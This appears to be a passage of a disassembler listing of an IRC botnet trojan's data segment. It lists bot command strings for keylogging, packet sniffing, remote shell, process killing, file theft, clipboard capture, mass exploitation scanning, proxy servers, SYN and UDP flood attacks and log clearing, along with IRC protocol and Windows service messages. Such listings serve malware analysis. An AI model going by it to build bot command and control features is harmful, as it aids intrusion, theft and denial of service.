db 29h, 20h, 2
db 0BBh ; »
db 0BBh, 2, 20h
aKeyLoggerStopp db ' Key logger stopped. (%d thread(s) stopped.)',0
align 4
aBox_keylog db 'box.keylog',0 ; DATA XREF: sub_40CD3A+1C6Bo
align 4
unk_435A64 db 2 ; DATA XREF: sub_40CD3A:loc_40E998o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aNoCarnivoreThr db 'No Carnivore thread found.',0
align 10h
unk_435AA0 db 2 ; DATA XREF: sub_40CD3A+1C54o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aCarnivoreStopp db 'Carnivore stopped. (%d thread(s) stopped.)',0
align 4
aOff db 'off',0 ; DATA XREF: sub_40CD3A+1C31o
; sub_40CD3A+1CA2o
unk_435AF0 db 2 ; DATA XREF: sub_40CD3A+1C11o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aFailedToSta_26 db 'Failed to start sniffer thread, error: <%d>.',0
align 10h
unk_435B40 db 2 ; DATA XREF: sub_40CD3A+1BB8o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aCarnivorePacke db 'Carnivore packet sniffer active.',0
align 4
unk_435B84 db 2 ; DATA XREF: sub_40CD3A+1B54o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aAlreadyRunni_2 db 'Already running.',0
align 4
aOn db 'on',0 ; DATA XREF: sub_40CD3A+1B34o
; sub_40CD3A+1C80o
align 4
aSniff db 'sniff',0 ; DATA XREF: sub_40CD3A+1B1Fo
align 4
aBox_rf db 'box.rf',0 ; DATA XREF: sub_40CD3A+1B08o
align 4
aBox_readfile db 'box.readfile',0 ; DATA XREF: sub_40CD3A+1AF1o
align 4
aBox_cm db 'box.cm',0 ; DATA XREF: sub_40CD3A+1ADAo
align 4
aBox_cmd db 'box.cmd',0 ; DATA XREF: sub_40CD3A+1AC3o
aMirc_cmd db 'mirc.cmd',0 ; DATA XREF: sub_40CD3A+1A95o
; sub_40CD3A+1AACo
align 4
aEnz_v db 'enz.v',0 ; DATA XREF: sub_40CD3A+1A7Eo
align 10h
aEnz_visit db 'enz.visit',0 ; DATA XREF: sub_40CD3A+1A67o
align 4
aBox_fl db 'box.fl',0 ; DATA XREF: sub_40CD3A+1A50o
align 4
aBox_filelist db 'box.filelist',0 ; DATA XREF: sub_40CD3A+1A39o
align 4
aDcc_gt db 'dcc.gt',0 ; DATA XREF: sub_40CD3A+1A22o
align 4
aDcc_get db 'dcc.get',0 ; DATA XREF: sub_40CD3A+1A0Bo
aBox_del db 'box.del',0 ; DATA XREF: sub_40CD3A+19F4o
aBox_delete db 'box.delete',0 ; DATA XREF: sub_40CD3A+19DDo
align 4
aBox_pkid db 'box.pkid',0 ; DATA XREF: sub_40CD3A+19C6o
align 4
aBox_prockillid db 'box.prockillid',0 ; DATA XREF: sub_40CD3A+19AFo
align 4
aBox_kpn db 'box.kpn',0 ; DATA XREF: sub_40CD3A+1998o
aBox_killprocna db 'box.killprocname',0 ; DATA XREF: sub_40CD3A+1981o
align 10h
aEnz_dn db 'enz.dn',0 ; DATA XREF: sub_40CD3A+196Ao
align 4
aEnz_dns db 'enz.dns',0 ; DATA XREF: sub_40CD3A+1953o
aEnz_se db 'enz.se',0 ; DATA XREF: sub_40CD3A+193Co
align 4
aEnz_setserve db 'enz.setserve',0 ; DATA XREF: sub_40CD3A+1925o
align 4
aBox_o db 'box.o',0 ; DATA XREF: sub_40CD3A+190Eo
align 10h
aBox_open db 'box.open',0 ; DATA XREF: sub_40CD3A+18F7o
align 4
aEnz_pr db 'enz.pr',0 ; DATA XREF: sub_40CD3A+18E0o
align 4
aEnz_prefix db 'enz.prefix',0 ; DATA XREF: sub_40CD3A+18C9o
align 10h
aClone_rn db 'clone.rn',0 ; DATA XREF: sub_40CD3A+18B2o
align 4
aClone_rndnick db 'clone.rndnick',0 ; DATA XREF: sub_40CD3A+189Bo
align 4
aClone_q db 'clone.q',0 ; DATA XREF: sub_40CD3A+1884o
aClone_quit db 'clone.quit',0 ; DATA XREF: sub_40CD3A+186Do
align 10h
aThreads_k db 'threads.k',0 ; DATA XREF: sub_40CD3A+1856o
align 4
aThreads_kill db 'threads.kill',0 ; DATA XREF: sub_40CD3A+183Fo
align 4
aEnz_r db 'enz.r',0 ; DATA XREF: sub_40CD3A+1828o
align 4
aEnz_raw db 'enz.raw',0 ; DATA XREF: sub_40CD3A+1811o
aEnz_pt db 'enz.pt',0 ; DATA XREF: sub_40CD3A+17FAo
align 4
aEnz_part db 'enz.part',0 ; DATA XREF: sub_40CD3A+17E3o
align 10h
aEnz_j db 'enz.j',0 ; DATA XREF: sub_40CD3A+17CCo
align 4
aEnz_join db 'enz.join',0 ; DATA XREF: sub_40CD3A+17B5o
align 4
aEnz_n db 'enz.n',0 ; DATA XREF: sub_40CD3A+179Eo
align 4
aEnz_nick db 'enz.nick',0 ; DATA XREF: sub_40CD3A+1787o
align 4
aVall db 'vall',0 ; DATA XREF: sub_40CD3A+1761o
align 10h
aVuln_massexplo db 'vuln.massexploit',0 ; DATA XREF: sub_40CD3A+174Co
align 4
aServer_tf_on db 'server.tf.on',0 ; DATA XREF: sub_40CD3A+1737o
align 4
aServer_tftp_on db 'server.tftp.on',0 ; DATA XREF: sub_40CD3A+1722o
align 4
aServer_web_on db 'server.web.on',0 ; DATA XREF: sub_40CD3A+170Do
align 4
aServer_httpd_o db 'server.httpd.on',0 ; DATA XREF: sub_40CD3A+16F8o
aVuln_cip db 'vuln.cip',0 ; DATA XREF: sub_40CD3A+16E3o
align 10h
aVuln_currentip db 'vuln.currentip',0 ; DATA XREF: sub_40CD3A+16CEo
align 10h
aUtil_fdns db 'util.fdns',0 ; DATA XREF: sub_40CD3A+16B9o
align 4
aUtil_flushdns db 'util.flushdns',0 ; DATA XREF: sub_40CD3A+16A4o
align 4
aUtil_farp db 'util.farp',0 ; DATA XREF: sub_40CD3A+168Fo
align 4
aUtil_flusharp db 'util.flusharp',0 ; DATA XREF: sub_40CD3A+167Ao
align 4
aBox_gc db 'box.gc',0 ; DATA XREF: sub_40CD3A+1665o
align 10h
aBox_getclip db 'box.getclip',0 ; DATA XREF: sub_40CD3A+1650o
dword_435E2C dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: sub_40CD3A+1645o
dd 2029206Ch, 2BBBB02h
aLoginListCompl db ' Login list complete.',0
align 10h
aD_S db '%d. %s',0 ; DATA XREF: sub_40CD3A+1611o
; sub_414E97+46o
align 4
aEmpty db '<Empty>',0 ; DATA XREF: sub_40CD3A+1604o
aLoginList db '-[Login List]-',0 ; DATA XREF: sub_40CD3A+15E2o
align 10h
aEnz_who db 'enz.who',0 ; DATA XREF: sub_40CD3A+15C9o
aCmd db '[CMD]',0 ; DATA XREF: sub_40CD3A+15BEo
align 10h
aRemoteShell db 'Remote shell',0 ; DATA XREF: sub_40CD3A+15B9o
align 10h
aBox_ocmd_off db 'box.ocmd.off',0 ; DATA XREF: sub_40CD3A+15A0o
align 10h
aBox_ocmd db 'box.ocmd',0 ; DATA XREF: sub_40CD3A+158Bo
align 4
aBox_opencmd db 'box.opencmd',0 ; DATA XREF: sub_40CD3A+1576o
aBox_dll db 'box.dll',0 ; DATA XREF: sub_40CD3A+1561o
aBox_testdlls db 'box.testdlls',0 ; DATA XREF: sub_40CD3A+154Co
align 10h
aBox_drv db 'box.drv',0 ; DATA XREF: sub_40CD3A+1537o
aBox_driveinfo db 'box.driveinfo',0 ; DATA XREF: sub_40CD3A+1522o
align 4
aBox_up db 'box.up',0 ; DATA XREF: sub_40CD3A+150Do
align 10h
aBox_uptime db 'box.uptime',0 ; DATA XREF: sub_40CD3A+14F8o
align 4
aBox_key db 'box.key',0 ; DATA XREF: sub_40CD3A+14E3o
aBox_harvest db 'box.harvest',0 ; DATA XREF: sub_40CD3A+14CEo
aBox_ps db 'box.ps',0 ; DATA XREF: sub_40CD3A+14B9o
align 4
aBox_procs db 'box.procs',0 ; DATA XREF: sub_40CD3A+14A4o
align 4
aEnz_b3g db 'enz.b3g',0 ; DATA XREF: sub_40CD3A+148Fo
aEnz_beg0ne db 'enz.beg0ne',0 ; DATA XREF: sub_40CD3A+147Ao
align 4
aBox_si db 'box.si',0 ; DATA XREF: sub_40CD3A+1465o
align 10h
aBox_sysinfo db 'box.sysinfo',0 ; DATA XREF: sub_40CD3A+1450o
aBox_ni db 'box.ni',0 ; DATA XREF: sub_40CD3A+143Bo
align 4
aBox_netinfo db 'box.netinfo',0 ; DATA XREF: sub_40CD3A+1426o
aUtil_clg db 'util.clg',0 ; DATA XREF: sub_40CD3A+1411o
align 4
aUtil_clearlog db 'util.clearlog',0 ; DATA XREF: sub_40CD3A+13FCo
align 4
aEnz_lg db 'enz.lg',0 ; DATA XREF: sub_40CD3A+13E7o
align 4
aEnz_log db 'enz.log',0 ; DATA XREF: sub_40CD3A+13D2o
aEnz_al db 'enz.al',0 ; DATA XREF: sub_40CD3A+13BDo
align 4
aEnz_aliases db 'enz.aliases',0 ; DATA XREF: sub_40CD3A+13A8o
aThreads_l db 'threads.l',0 ; DATA XREF: sub_40CD3A+1393o
align 4
aThreads_list db 'threads.list',0 ; DATA XREF: sub_40CD3A+137Eo
align 4
dword_435FCC dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: sub_40CD3A+134Ao
dd 2029206Ch, 2BBBB02h
aFailedToReboot db ' Failed to reboot system.',0
align 4
dword_436004 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: sub_40CD3A+1343o
dd 2029206Ch, 2BBBB02h
aRebootingSyste db ' Rebooting system.',0
aBox_rebewt db 'box.rebewt',0 ; DATA XREF: sub_40CD3A+132Co
align 10h
aEnz_i db 'enz.i',0 ; DATA XREF: sub_40CD3A+1317o
align 4
aEnz_id db 'enz.id',0 ; DATA XREF: sub_40CD3A+1302o
align 10h
aEnz_s db 'enz.s',0 ; DATA XREF: sub_40CD3A+12EDo
align 4
aEnz_status db 'enz.status',0 ; DATA XREF: sub_40CD3A+12D8o
align 4
aEnz_t3rm1 db 'enz.t3rm1',0 ; DATA XREF: sub_40CD3A+12C3o
align 10h
aEnz_t3rm1nate db 'enz.t3rm1nate',0 ; DATA XREF: sub_40CD3A+12AEo
align 10h
aEnz_et3 db 'enz.et3',0 ; DATA XREF: sub_40CD3A+1299o
aEnz_endt3rm db 'enz.endt3rm',0 ; DATA XREF: sub_40CD3A+1284o
aEnz_rh4 db 'enz.rh4',0 ; DATA XREF: sub_40CD3A+126Fo
aEnz_reh4sh db 'enz.reh4sh',0 ; DATA XREF: sub_40CD3A+125Ao
align 4
aVuln_st db 'vuln.st',0 ; DATA XREF: sub_40CD3A+1245o
aVuln_stats db 'vuln.stats',0 ; DATA XREF: sub_40CD3A+1230o
align 4
aExploitation db 'Exploitation',0 ; DATA XREF: sub_40CD3A+1225o
align 4
aScan db 'Scan',0 ; DATA XREF: sub_40CD3A+1220o
align 4
aVuln_stop db 'vuln.stop',0 ; DATA XREF: sub_40CD3A+1207o
align 10h
dword_4360E0 dd 65027302h, 1F727563h, 2E2E1F65h, 0 ; DATA XREF: sub_40CD3A+11FCo
aSecure_0 db 'Secure',0 ; DATA XREF: sub_40CD3A+11F7o
align 4
aLockdown_stop db 'lockdown.stop',0 ; DATA XREF: sub_40CD3A+11DEo
align 4
dword_436108 dd 6C026302h, 1F656E6Fh, 2E2E1F73h, 0 ; DATA XREF: sub_40CD3A+11D3o
aClone db 'Clone',0 ; DATA XREF: sub_40CD3A+11CEo
align 10h
aClone_off db 'clone.off',0 ; DATA XREF: sub_40CD3A+11B5o
align 4
aBox_ps_off db 'box.ps.off',0 ; DATA XREF: sub_40CD3A+11A0o
align 4
aBox_procs_off db 'box.procs.off',0 ; DATA XREF: sub_40CD3A+118Bo
align 4
aBox_ff_off db 'box.ff.off',0 ; DATA XREF: sub_40CD3A+1176o
align 4
aBox_findfile_o db 'box.findfile.off',0 ; DATA XREF: sub_40CD3A+1161o
align 4
dword_436168 dd 66027402h, 641F7074h, 2E2E1Fh ; DATA XREF: sub_40CD3A+1156o
aServer_tftp_of db 'server.tftp.off',0 ; DATA XREF: sub_40CD3A+1138o
dword_436184 dd 69027002h, 1F671F6Eh, 2E2Eh ; DATA XREF: sub_40CD3A+112Do
dword_436190 dd 676E6950h, 6F6C6620h, 646Fh ; DATA XREF: sub_40CD3A+1128o
dword_43619C dd 736F6464h, 6E69702Eh, 666F2E67h, 66h ; DATA XREF: sub_40CD3A+110Fo
dword_4361AC dd 64027502h, 2E1F701Fh, 2Eh ; DATA XREF: sub_40CD3A+1104o
dword_4361B8 dd 20504455h, 6F6F6C66h, 64h ; DATA XREF: sub_40CD3A+10FFo
dword_4361C4 dd 736F6464h, 7064752Eh, 66666F2Eh, 0 ; DATA XREF: sub_40CD3A+10E6o
dword_4361D4 dd 79027302h, 2E1F6E1Fh, 2Eh ; DATA XREF: sub_40CD3A+10DBo
dword_4361E0 dd 206E7953h, 6F6F6C66h, 64h ; DATA XREF: sub_40CD3A+10D6o
dword_4361EC dd 736F6464h, 6E79732Eh, 66666F2Eh, 0 ; DATA XREF: sub_40CD3A+10BDo
dword_4361FC dd 64026402h, 1F731F6Fh, 2E2Eh ; DATA XREF: sub_40CD3A+10B2o
dword_436208 dd 536F4444h, 6F6C6620h, 646Fh ; DATA XREF: sub_40CD3A+10ADo
dword_436214 dd 736F6464h, 66666F2Eh, 0 ; DATA XREF: sub_40CD3A+1094o
dword_436220 dd 65027202h, 65726964h, 1F741F63h, 2E2Eh ; DATA XREF: sub_40CD3A+1089o
dword_436230 dd 20504354h, 69646572h, 74636572h, 0 ; DATA XREF: sub_40CD3A+1084o
aServer_redirec db 'server.redirect.off',0 ; DATA XREF: sub_40CD3A+106Bo
dword_436254 dd 6F026C02h, 2E1F671Fh, 2Eh ; DATA XREF: sub_40CD3A+1060o
dword_436260 dd 20676F4Ch, 7473696Ch, 0 ; DATA XREF: sub_40CD3A+105Bo
dword_43626C dd 2E676F6Ch, 66666Fh ; DATA XREF: sub_40CD3A+1042o
dword_436274 dd 74026802h, 641F7074h, 2E2E1Fh ; DATA XREF: sub_40CD3A+1037o
dword_436280 dd 76726573h, 772E7265h, 6F2E6265h, 6666h ; DATA XREF: sub_40CD3A+1019o
dword_436290 dd 6C027202h, 6E69676Fh, 2E1F641Fh, 2Eh ; DATA XREF: sub_40CD3A+100Eo
aServer_rlogin_ db 'server.rlogin.off',0 ; DATA XREF: sub_40CD3A+FF0o
align 4
dword_4362B4 dd 6F027302h, 1F736B63h, 2E2E1F34h, 0 ; DATA XREF: sub_40CD3A+FE5o
aServer db 'Server',0 ; DATA XREF: sub_40CD3A+FE0o
; sub_40CD3A+1009o ...
align 4
aServer_socks_0 db 'server.socks4.off',0 ; DATA XREF: sub_40CD3A+FC7o
align 10h
aServer_s4_on db 'server.s4.on',0 ; DATA XREF: sub_40CD3A+FB2o
align 10h
aServer_socks4_ db 'server.socks4.on',0 ; DATA XREF: sub_40CD3A+F9Do
align 4
aLd_off db 'ld.off',0 ; DATA XREF: sub_40CD3A+F88o
align 4
aLockdown_off db 'lockdown.off',0 ; DATA XREF: sub_40CD3A+F73o
align 4
aLd_on db 'ld.on',0 ; DATA XREF: sub_40CD3A+F5Eo
align 4
aLockdown_on db 'lockdown.on',0 ; DATA XREF: sub_40CD3A+F49o
aEnz_ver db 'enz.ver',0 ; DATA XREF: sub_40CD3A+F34o
aEnz_version db 'enz.version',0 ; DATA XREF: sub_40CD3A+F1Fo
aEnz_lo db 'enz.lo',0 ; DATA XREF: sub_40CD3A+F0Ao
align 4
aEnz_logout db 'enz.logout',0 ; DATA XREF: sub_40CD3A+EF5o
align 4
aEnz_d db 'enz.d',0 ; DATA XREF: sub_40CD3A+EE0o
align 10h
aEnz_endsess db 'enz.endsess',0 ; DATA XREF: sub_40CD3A+ECBo
aEnz_rn db 'enz.rn',0 ; DATA XREF: sub_40CD3A+EB6o
align 4
aEnz_rndnick db 'enz.rndnick',0 ; DATA XREF: sub_40CD3A+E9Eo
a63 db '63',0 ; DATA XREF: sub_40CD3A+D7Eo
align 4
asc_436384: ; DATA XREF: sub_40CD3A+D56o
unicode 0, <)>,0
aChr db '$chr(',0 ; DATA XREF: sub_40CD3A+D1Co
align 10h
aServer_2 db '$server',0 ; DATA XREF: sub_40CD3A+D11o
aRndnick db '$rndnick',0 ; DATA XREF: sub_40CD3A+D00o
align 4
aChan db '$chan',0 ; DATA XREF: sub_40CD3A+CE4o
align 4
aUser_2 db '$user',0 ; DATA XREF: sub_40CD3A+CD3o
align 4
aMe_0 db '$me',0 ; DATA XREF: sub_40CD3A+CC1o
aD_0 db '$%d',0 ; DATA XREF: sub_40CD3A+C4Do
aD_1 db '$%d-',0 ; DATA XREF: sub_40CD3A+BA0o
align 4
aHi_0 db 'hi',0 ; DATA XREF: sub_40CD3A+AC2o
align 4
aNewshit db 'newshit',0 ; DATA XREF: sub_40CD3A+AAAo
dword_4363D0 dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
; DATA XREF: sub_40CD3A+A87o
dd 2029206Ch, 2BBBB02h
aChatFailedByUn db ' Chat failed by unauthorized user: %s.',0
align 8
dword_436418 dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
; DATA XREF: sub_40CD3A+A76o
dd 2029206Ch, 2BBBB02h
aChatAlreadyAct db ' Chat already active with user: %s.',0
align 10h
dword_436460 dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
; DATA XREF: sub_40CD3A+A50o
dd 2029206Ch, 2BBBB02h
aFailedToSta_27 db ' Failed to start chat thread, error: <%d>.',0
dword_4364A8 dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
; DATA XREF: sub_40CD3A+9F7o
dd 2029206Ch, 2BBBB02h
aChatFromUserS_ db ' Chat from user: %s.',0
align 4
aChat db 'CHAT',0 ; DATA XREF: sub_40CD3A+960o
align 8
dword_4364E8 dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
; DATA XREF: sub_40CD3A+943o
dd 2029206Ch, 2BBBB02h
aReceiveFileSFa db ' Receive file: ',27h,'%s',27h,' failed from unauthorized user: %s.',0
dword_43653C dd 49544F4Eh, 25204543h, 13A2073h, 474E4950h, 1732520h
; DATA XREF: sub_40CD3A+913o
dd 0A0Dh
dword_436554 dd 4E495001h, 47h ; DATA XREF: sub_40CD3A+8DFo
aSHasJustVersio db '%s has just versioned me.',0 ; DATA XREF: sub_40CD3A+8A4o
align 4
dword_436578 dd 49544F4Eh, 25204543h, 13A2073h, 53524556h, 204E4F49h
; DATA XREF: sub_40CD3A+88Ao
dd 0D017325h, 0Ah
dword_436594 dd 52455601h, 4E4F4953h, 1 ; DATA XREF: sub_40CD3A+859o
dword_4365A0 dd 28026502h, 62302E31h, 20282029h, 2E636364h, 1F641F6Dh
; DATA XREF: sub_40CD3A+74Do
dd 2029206Ch, 2BBBB02h
aReceiveFileSFr db ' Receive file: ',27h,'%s',27h,' from user: %s.',0
aSend_0 db 'SEND',0 ; DATA XREF: sub_40CD3A+6AAo
align 4
dword_4365E8 dd 43434401h, 0 ; DATA XREF: sub_40CD3A+68Co
dword_4365F0 dd 323333h ; DATA XREF: sub_40CD3A+60Fo
; sub_40CD3A+AE4o ...
aNotice db 'NOTICE',0 ; DATA XREF: sub_40CD3A+5EDo
; sub_412BD1+Fo
align 4
aPrivmsg db 'PRIVMSG',0 ; DATA XREF: sub_40CD3A+5E1o
; sub_412BD1+16o
dword_436604 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: sub_40CD3A+590o
dd 2029206Ch, 2BBBB02h
aUserSLoggedOut db ' User: %s logged out.',0
align 4
dword_436638 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: sub_40CD3A+570o
dd 2029206Ch, 2BBBB02h
aJoinedChanne_0 db ' Joined channel: %s.',0
align 4
a353 db '353',0 ; DATA XREF: sub_40CD3A+539o
aPart db 'PART',0 ; DATA XREF: sub_40CD3A+4EBo
; sub_40CD3A+5ADo
align 4
aSS_1 db ':%s%s',0 ; DATA XREF: sub_40CD3A+4C3o
align 10h
aNick db 'NICK',0 ; DATA XREF: sub_40CD3A+3AFo
align 4
aNoticeSS db 'NOTICE %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_40CD3A+352o
; sub_40CD3A+5D1o
dword_436698 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: sub_40CD3A+339o
; sub_40CD3A+5A05o ...
dd 2029206Ch, 2BBBB02h
aUserSLoggedO_0 db ' User %s logged out.',0
align 4
aKick db 'KICK',0 ; DATA XREF: sub_40CD3A+2D6o
align 4
aNickS db 'NICK %s',0Dh,0Ah,0 ; DATA XREF: sub_40CD3A+27Fo
; sub_40CD3A+4A84o ...
align 10h
a433 db '433',0 ; DATA XREF: sub_40CD3A+257o
a302 db '302',0 ; DATA XREF: sub_40CD3A+21Co
aJoinSS db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_40CD3A+1D6o
; sub_40CD3A+39Co ...
align 4
aPongS db 'PONG %s',0Dh,0Ah,0 ; DATA XREF: sub_40CD3A+1B5o
align 4
aPing db 'PING',0 ; DATA XREF: sub_40CD3A+19Bo
align 4
asc_43670C db ' :',0 ; DATA XREF: sub_40CD3A+86o
; sub_40CD3A:loc_40D876o
align 10h
dword_436710 dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0 ; DATA XREF: sub_412A1D+A4o
dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh
dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_43675C dd 3000005h, 10h, 18h, 1, 3 dup(0) ; DATA XREF: sub_412A1D+E3o
; ---------------------------------------------------------------------------
loc_436778: ; DATA XREF: sub_412A1D+118o
mov al, 1
push edx
xchg eax, edi
retf 0D059h
; ---------------------------------------------------------------------------
db 11h
dd 0A000D5A8h, 51800DC9h, 0
dword_43678C dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0
; DATA XREF: sub_412A1D+13Fo
dword_4367A0 dd 25207325h, 253A2073h, 0A0D73h, 0 ; DATA XREF: sub_412BD1+58o
off_4367B0 dd offset aAdd ; DATA XREF: sub_412C6C+6Dr
; sub_413053+50r ...
; "Add"
off_4367B4 dd offset aAdded ; DATA XREF: sub_412C6C+2Dr
; sub_413053+82r ...
; "Added"
dword_4367B8 dd 0 ; DATA XREF: sub_412C6C+18r
dd offset aDelete_0 ; "Delete"
dd offset aDeleted ; "Deleted"
align 8
dd offset aList_0 ; "List"
dd offset aListed ; "Listed"
dd 0
dd offset aStart_0 ; "Start"
dd offset aStarted ; "Started"
align 10h
dd offset aStop_0 ; "Stop"
dd offset aStopped_0 ; "Stopped"
dd 1, 436824h, 43681Ch, 2, 436810h, 436804h, 3, 746E6F43h
dd 65756E69h, 64h, 746E6F43h, 65756E69h, 0
aPaused db 'Paused',0
align 4
aPause_0 db 'Pause',0
align 4
aStopped_0 db 'Stopped',0 ; DATA XREF: seg001:004367E4o
aStop_0 db 'Stop',0 ; DATA XREF: seg001:004367E0o
align 4
aStarted db 'Started',0 ; DATA XREF: seg001:004367D8o
aStart_0 db 'Start',0 ; DATA XREF: seg001:004367D4o
align 4
aListed db 'Listed',0 ; DATA XREF: seg001:004367CCo
align 4
aList_0 db 'List',0 ; DATA XREF: seg001:004367C8o
align 4
aDeleted db 'Deleted',0 ; DATA XREF: seg001:004367C0o
aDelete_0 db 'Delete',0 ; DATA XREF: seg001:004367BCo
align 4
aAdded db 'Added',0 ; DATA XREF: seg001:off_4367B4o
align 4
aAdd db 'Add',0 ; DATA XREF: seg001:off_4367B0o
dword_436878 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
; DATA XREF: sub_412C6C+74o
dd 2029206Ch, 2BBBB02h
aSNoServiceSpec db ' %s: No service specified.',0
dword_4368B0 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
; DATA XREF: sub_412C6C+55o
dd 2029206Ch, 2BBBB02h
aErrorWithServi db ' Error with service: ',27h,'%s',27h,'. %s',0
align 4
dword_4368EC dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
; DATA XREF: sub_412C6C+38o
dd 2029206Ch, 2BBBB02h
aSServiceS_ db ' %s service: ',27h,'%s',27h,'.',0
aAnUnknownError db 'An unknown error occurred: <%ld>',0 ; DATA XREF: sub_412D95+12Co
align 10h
aTheSystemIsShu db 'The system is shutting down.',0 ; DATA XREF: sub_412D95:loc_412EADo
align 10h
aTheServiceHasN db 'The service has not been started.',0 ; DATA XREF: sub_412D95:loc_412EA6o
align 8
aTheRequested_1 db 'The requested control code cannot be sent to the service because '
; DATA XREF: sub_412D95:loc_412E9Fo
db 'the state of the service.',0
align 4
aTheServiceHa_0 db 'The service has been marked for deletion.',0
; DATA XREF: sub_412D95:loc_412E98o
align 10h
aTheServiceCoul db 'The service could not be logged on. The account does not have the'
; DATA XREF: sub_412D95:loc_412E91o
db ' correct access rights.',0
align 4
aTheSpecified_0 db 'The specified service does not exist.',0
; DATA XREF: sub_412D95:loc_412E8Ao
align 4
aTheServiceHasB db 'The service has been disabled.',0 ; DATA XREF: sub_412D95:loc_412E83o
align 8
aTheServiceDe_0 db 'The service depends on another service that has failed to start.',0
; DATA XREF: sub_412D95:loc_412E7Co
align 10h
aTheServiceDepe db 'The service depends on a service that does not exist or has been '
; DATA XREF: sub_412D95:loc_412E75o
db 'marked for deletion.',0
align 4
aTheSpecifiedDa db 'The specified database does not exist.',0
; DATA XREF: sub_412D95:loc_412E6Eo
align 10h
aAnInstanceOfTh db 'An instance of the service is already running.',0
; DATA XREF: sub_412D95:loc_412E43o
align 10h
aTheRequested_0 db 'The requested control code is not valid, or it is unacceptable to'
; DATA XREF: sub_412D95:loc_412E3Co
db ' the service.',0
align 10h
aTheProcessForT db 'The process for the service was started, but it did not call Star'
; DATA XREF: sub_412D95:loc_412E35o
db 'tServiceCtrlDispatcher.',0
align 4
aAThreadCouldNo db 'A thread could not be created for the service.',0
; DATA XREF: sub_412D95:loc_412E2Eo
align 4
aTheDatabaseIsL db 'The database is locked.',0 ; DATA XREF: sub_412D95+8Fo
align 8
aTheServiceCann db 'The service cannot be stopped because other running services are '
; DATA XREF: sub_412D95:loc_412E03o
db 'dependent on it.',0
align 4
aTheServiceBina db 'The service binary file could not be found.',0
; DATA XREF: sub_412D95:loc_412DF9o
aTheHandleDoesN db 'The handle does not have the required access right.',0
; DATA XREF: sub_412D95:loc_412DEFo
aTheHandleIsInv db 'The handle is invalid.',0 ; DATA XREF: sub_412D95:loc_412DE5o
align 4
aTheRequestedCo db 'The requested control code is undefined.',0
; DATA XREF: sub_412D95:loc_412DDBo
align 10h
aTheSpecifiedSe db 'The specified service name is invalid.',0 ; DATA XREF: sub_412D95+3Co
align 4
aSSS db '%s: %s (%s)',0 ; DATA XREF: sub_412F13+EEo
aStopped db ' Stopped',0 ; DATA XREF: sub_412F13:loc_412FE2o
aStarting db ' Starting',0 ; DATA XREF: sub_412F13:loc_412FDBo
aStoping db ' Stoping',0 ; DATA XREF: sub_412F13:loc_412FD4o
aRunning_0 db ' Running',0 ; DATA XREF: sub_412F13:loc_412FCDo
aContinuing db ' Continuing',0 ; DATA XREF: sub_412F13:loc_412FC6o
aPausing db ' Pausing',0 ; DATA XREF: sub_412F13:loc_412FBFo
aPaused_0 db ' Paused',0 ; DATA XREF: sub_412F13:loc_412FB8o
aUnknown_1 db ' Unknown',0 ; DATA XREF: sub_412F13+9Eo
aTheFollowingWi db 'The following Windows services are registered:',0
; DATA XREF: sub_412F13+25o
align 4
dword_436E64 dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
; DATA XREF: sub_413053+ABo
dd 2029206Ch, 2BBBB02h
aSNoShareSpecif db ' %s: No share specified.',0
align 4
